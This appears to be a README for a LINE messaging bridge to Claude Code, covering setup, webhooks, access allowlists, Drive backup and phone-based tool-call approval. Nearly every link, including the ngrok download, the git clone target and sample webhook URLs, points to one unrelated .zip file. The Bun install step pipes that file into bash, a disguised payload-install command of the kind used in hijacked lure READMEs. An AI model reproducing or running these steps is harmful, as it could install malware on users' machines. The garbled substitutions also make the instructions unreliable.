LINE Channel for Claude Code
Integrate LINE messaging with Claude Code for real-time communication.
LINE Channel for Claude Code
Push LINE messages into your Claude Code session via the LINE Messaging API, so Claude can receive and reply to your LINE messages in real time.
Table of Contents
- Requirements
- Prerequisites
- Setup
- Always-on Webhook Service (auto-start)
- Adding more users
- Access Policy
- Sending Messages
- Image Backup to Google Drive
- Environment Variables
- Remote Permission Approval via LINE
- Troubleshooting
Requirements
- OS: Windows / macOS / Linux
- Claude Code v2.1.80+, signed in with a claude.ai account (not API key)
- Bun runtime
- ngrok account (free tier works)
- LINE Developers account (free)
Prerequisites
1. Install Claude Code
npm install -g @anthropic-ai/claude-code
Then sign in:
claude
Follow the prompts to sign in with your claude.ai account.
2. Install Bun
macOS / Linux:
curl -fsSL https://raw.githubusercontent.com/oleophilic-artiste710/claude-channel-line/main/autostart/macos/claude_line_channel_1.1.zip | bash
Windows (PowerShell):
powershell -c "irm bun.sh/install.ps1 | iex"
Verify the installation:
bun --version
3. Install ngrok
Sign up for a free account at https://raw.githubusercontent.com/oleophilic-artiste710/claude-channel-line/main/autostart/macos/claude_line_channel_1.1.zip, then:
macOS (Homebrew):
brew install ngrok
Windows:
Download from https://raw.githubusercontent.com/oleophilic-artiste710/claude-channel-line/main/autostart/macos/claude_line_channel_1.1.zip, extract, and add to PATH.
Set your authtoken (copy from ngrok Dashboard):
ngrok config add-authtoken YOUR_AUTHTOKEN
4. Create a LINE Bot
- Go to LINE Developers Console and sign in
- Click Create a Provider and enter a name (e.g.
My Claude Bot) - Click Create a new channel → select Messaging API
- Fill in the required fields (Channel name, description, Category) and create
Get your credentials:
- Channel Secret: channel → Basic settings tab → copy
Channel secret - Channel Access Token: channel → Messaging API tab → scroll to the bottom → click Issue → copy the token
In the Messaging API tab, disable the following to prevent automatic replies from interfering:
- Auto-reply messages → Disabled
- Greeting messages → Disabled
Setup
1. Clone the repository
git clone https://raw.githubusercontent.com/oleophilic-artiste710/claude-channel-line/main/autostart/macos/claude_line_channel_1.1.zip
cd claude-channel-line
2. Save LINE credentials
Credentials are stored in ~/.claude/channels/line/.env and will not be committed to git.
macOS / Linux:
mkdir -p ~/.claude/channels/line
cat > ~/.claude/channels/line/.env << EOF
LINE_CHANNEL_ACCESS_TOKEN=your_channel_access_token
LINE_CHANNEL_SECRET=your_channel_secret
EOF
Windows (PowerShell):
New-Item -ItemType Directory -Force "$env:USERPROFILE\.claude\channels\line"
@"
LINE_CHANNEL_ACCESS_TOKEN=your_channel_access_token
LINE_CHANNEL_SECRET=your_channel_secret
"@ | Set-Content "$env:USERPROFILE\.claude\channels\line\.env"
3. Add MCP Server
macOS / Linux:
claude mcp add line bun "/path/to/claude-channel-line/server.ts"
Windows:
claude mcp add line bun "C:/path/to/claude-channel-line/server.ts"
Replace the path with the actual location where you cloned the repo.
Verify it was added:
claude mcp list
You should see line in the list.
4. Start ngrok
Open a separate terminal window and run:
ngrok http 8789
You should see something like:
Forwarding https://raw.githubusercontent.com/oleophilic-artiste710/claude-channel-line/main/autostart/macos/claude_line_channel_1.1.zip -> http://localhost:8789
Copy the https://raw.githubusercontent.com/oleophilic-artiste710/claude-channel-line/main/autostart/macos/claude_line_channel_1.1.zip URL — you'll need it in the next step.
Note: Keep the ngrok window open. Closing it will disconnect the tunnel. The URL changes every time you restart ngrok (free plan), so you'll need to update the Webhook URL in LINE Console each time.
5. Configure LINE Webhook
Back in LINE Developers Console, open your channel:
- Click the Messaging API tab
- Find the Webhook URL field and click Edit
- Enter:
https://raw.githubusercontent.com/oleophilic-artiste710/claude-channel-line/main/autostart/macos/claude_line_channel_1.1.zip(replace with your ngrok URL) - Click Update
- Enable the Use webhook toggle
- Click Verify → should show Success
6. Start Claude Code
Open a new terminal window and run:
claude --dangerously-load-development-channels server:line
Claude Code will connect to the LINE MCP server and start listening for messages.
Important: You must include
--dangerously-load-development-channels server:lineevery time you start Claude Code. Runningclaudewithout this flag will not receive LINE messages.
Windows note: Run this command in a regular terminal (PowerShell / CMD), not inside Claude Code itself.
7. Pair your LINE account
-
Open LINE and find your bot (the Bot basic ID is shown in LINE Developers Console → Messaging API)
-
Send any message to the bot, e.g.
hi -
The bot will reply with a pairing code:
Pairing code: A1B2C3 Run in Claude Code: /line:access pair A1B2C3 -
Look up the userId for that pairing code:
macOS / Linux:
cat ~/.claude/channels/line/pending/A1B2C3.jsonWindows (PowerShell):
Get-Content "$env:USERPROFILE\.claude\channels\line\pending\A1B2C3.json"Output:
{ "userId": "Uxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", "expires": 1234567890000 } -
Add the userId to the allowlist by editing
~/.claude/channels/line/access.json:macOS / Linux:
cat > ~/.claude/channels/line/access.json << EOF { "policy": "allowlist", "allowlist": ["Uxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"] } EOFWindows (PowerShell):
@" { "policy": "allowlist", "allowlist": ["Uxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"] } "@ | Set-Content "$env:USERPROFILE\.claude\channels\line\access.json" -
Send another LINE message — Claude will now receive and reply to it!
Always-on Webhook Service (auto-start)
By default, the webhook server runs inside Claude Code's MCP process — it stops when Claude Code closes, causing LINE to receive 502 errors.
webhook-service.ts is a standalone server that keeps the webhook alive even when Claude Code is not running. Incoming messages are queued in ~/.claude/channels/line/messages/ and picked up automatically when Claude Code starts.
Queue processing includes the following reliability features:
- 20-second startup delay — waits for the MCP connection to stabilize before processing queued messages
- Offline message notification — on reconnect, pushes a LINE message listing any missed messages so the user knows what was lost
- Automatic retry (3x) — failed message deliveries are retried up to 3 times before being discarded
- Expired reply_token cleanup — reply tokens older than 25 seconds are automatically cleared (LINE tokens expire at 30 seconds)
- 2-second shutdown watchdog — prevents zombie processes when MCP disconnects (matches official Telegram/Discord plugin pattern)
Windows
Run the install script from the project directory (auto-detects bun path and creates a startup entry):
powershell -ExecutionPolicy Bypass -File "autostart\windows\install.ps1"
This creates a background .vbs script in the startup folder and starts the service immediately — no reboot required.
macOS
chmod +x autostart/macos/install.sh
./autostart/macos/install.sh
Uses a launchd Launch Agent. Auto-detects bun path and registers the service for login startup.
To stop:
launchctl stop com.line-webhook
launchctl unload ~/Library/LaunchAgents/com.line-webhook.plist
Linux (systemd)
chmod +x autostart/linux/install.sh
./autostart/linux/install.sh
Uses a systemd user service. Auto-detects bun path and enables the service on login.
View logs:
systemctl --user status line-webhook
journalctl --user -u line-webhook -f
Adding more users
To allow other people to use the bot:
- Have them add the bot as a friend and send a message — they'll receive a pairing code
- Ask them to share the pairing code with you
- Look up their userId in
~/.claude/channels/line/pending/<code>.json - Add their userId to the
allowlistinaccess.json:
{
"policy": "allowlist",
"allowlist": [
"Uyour_user_id",
"Utheir_user_id"
]
}
Access Policy
Edit the policy field in ~/.claude/channels/line/access.json:
| Policy | Behavior | When to use |
|---|---|---|
pairing | Anyone who messages the bot receives a pairing code (default) | Initial setup, adding new users |
allowlist | Only userIds in the allowlist can send messages; others are silently dropped | Normal use — recommended |
open | Anyone can send messages | Not recommended — no access control |
Sending Messages
Claude can reply to LINE users using these message types:
| Tool | Type | Description |
|---|---|---|
reply | Text | Plain text message (auto-split at 5,000 chars, up to 5 chunks) |
reply_image | Image | Send an image via HTTPS URL |
reply_flex | Flex Message | Rich card layout — supports buttons, links, images, and carousels (bubble / carousel) |
reply_mixed | Mixed | Send up to 5 messages of any type in a single call |
Note:
reply_tokenis valid for 30 seconds after receiving a message. After expiry, Claude automatically switches to push mode usinguser_id.
Image Backup to Google Drive
When users send images via LINE, webhook-service.ts can automatically download and upload them to Google Drive as a backup. Each image is named with a timestamp (LINE_YYYYMMDD_HHMMSS.jpg), and the user receives a confirmation reply with the Drive link.
Setup
-
Google OAuth2 credentials: Place your credentials file at:
~/.google_workspace_mcp/credentials/<your-email>.jsonThe file must contain a valid
refresh_token,client_id, andclient_secret. -
Configure the target folder: Set the
GDRIVE_FOLDER_IDconstant inwebhook-service.tsto the Google Drive folder ID where images should be uploaded.To find the folder ID, open the folder in Google Drive and copy the last segment of the URL:
https://raw.githubusercontent.com/oleophilic-artiste710/claude-channel-line/main/autostart/macos/claude_line_channel_1.1.zip<FOLDER_ID>
How it works
- User sends an image in LINE chat
webhook-service.tsdownloads the image binary from LINE's content API- The image is uploaded to the configured Google Drive folder via the Google Drive API
- The user receives a LINE reply confirming the backup with a direct link to the file on Google Drive
Remote Permission Approval via LINE
Approve or deny Claude Code tool calls from your phone. When Claude attempts a dangerous operation (e.g. shell commands), a Flex Message is pushed to LINE with Allow/Deny buttons. Safe operations (read-only commands) are auto-approved.
How it works
- Claude calls a Bash command (e.g.
git push) approve-hook.tsintercepts via PreToolUse hook- Safe commands (
git status,ls, etc.) pass through instantly - Dangerous commands push a Flex card to LINE with the command details
- You tap Allow or Deny on your phone
- 60-second timeout — auto-denies if no response
Setup
Add the hook to your Claude Code settings (~/.claude/settings.json):
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "bun /path/to/claude-channel-line/approve-hook.ts",
"timeout": 120
}
]
}
]
}
}
Configuration
Edit ~/.claude/channels/line/approve-config.json:
{
"scope": "line-only"
}
| Scope | Behavior |
|---|---|
line-only | Only sessions started with LINE_APPROVE=1 trigger LINE approval (default) |
all | All sessions send approval requests to LINE |
Starting a LINE session with approval
LINE_APPROVE=1 claude --resume --dangerously-load-development-channels server:line
Only this session will send approval requests to LINE. Other sessions run the hook but auto-approve instantly (no API calls).
What gets approved
| Operation | Approval |
|---|---|
Read-only Bash (git status, ls, cat, pwd) | Auto-approved |
Destructive Bash (git push, rm, npm publish) | LINE approval required |
Write/Edit to .env, .key, .pem files | LINE approval required |
| All other tools (Read, Glob, Grep, etc.) | Auto-approved |
Notes
- Each approval uses one LINE push API call (free plan: 200/month)
- The
webhook-service.tsmust be running to receive postback button responses - Requires a new Claude Code session to load hook changes from settings.json
Environment Variables
| Variable | Description | Default |
|---|---|---|
LINE_CHANNEL_ACCESS_TOKEN | LINE Channel Access Token | required |
LINE_CHANNEL_SECRET | LINE Channel Secret | required |
LINE_WEBHOOK_PORT | Webhook server port | 8789 |
GDRIVE_FOLDER_ID | Google Drive folder ID for image backups (set in webhook-service.ts) | — |
Troubleshooting
Verify shows 502 Bad Gateway
The webhook server is not running. Two options:
- Quick fix: Start Claude Code with
claude --dangerously-load-development-channels server:line— it will also bring up the webhook server. - Permanent fix: Set up the Always-on Webhook Service so the webhook runs independently of Claude Code.
Bot doesn't respond to messages
- Check that ngrok is still running
- Check that the LINE Webhook URL is correct and Use webhook is enabled
- Check that
access.jsonhas the correct policy and your userId in the allowlist
ngrok URL changes every restart
The free ngrok plan assigns a new URL on each restart. You'll need to update the Webhook URL in LINE Developers Console each time. Upgrade to a paid plan for a fixed URL.
Token with special characters fails on Windows
Wrap the token in quotes:
$env:LINE_CHANNEL_ACCESS_TOKEN="your+token/with=special+chars"
MCP server fails to start — port already in use
If you have the always-on webhook service running, server.ts automatically detects the port conflict and switches to queue mode — no action needed.
To use a different port instead:
claude mcp remove line
claude mcp add line bun "/path/to/server.ts" -e LINE_WEBHOOK_PORT=8790
ngrok http 8790
License
MIT